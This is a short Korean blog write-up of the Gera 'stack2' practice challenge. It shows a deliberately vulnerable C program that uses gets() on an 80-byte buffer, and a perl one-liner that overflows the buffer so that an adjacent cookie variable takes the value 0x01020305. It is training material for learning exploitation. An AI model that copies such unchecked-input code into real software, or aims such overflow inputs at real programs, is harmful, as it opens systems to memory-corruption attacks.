Major Study./System hacking
Gera _ Stack #2
sosal
2010. 4. 30. 19:54
반응형
/*
* http://sosal.tistory.com/
* made by so_Sal
*/
* http://sosal.tistory.com/
* made by so_Sal
*/
/* stack2.c * * specially crafted to feed your brain by gera */ int main() { int cookie; char buf[80]; printf("buf: %08x cookie: %08x\n", &buf, &cookie); gets(buf); if (cookie == 0x01020305) printf("you win!\n"); }
[sosal@localhost gera]$ (perl -e 'print "\x05\x03\x02\x01"x24';cat) | ./stack2
buf: bfd7d700 cookie: bfd7d750
you win!
buf[80] 배열을 overflow 시켜서, cookie 변수의 value를 \x01020305로 바꿔주면 되겠습니다.
1번문제와 풀이법이 같아서, 이하 설명은 생략하겠습니다.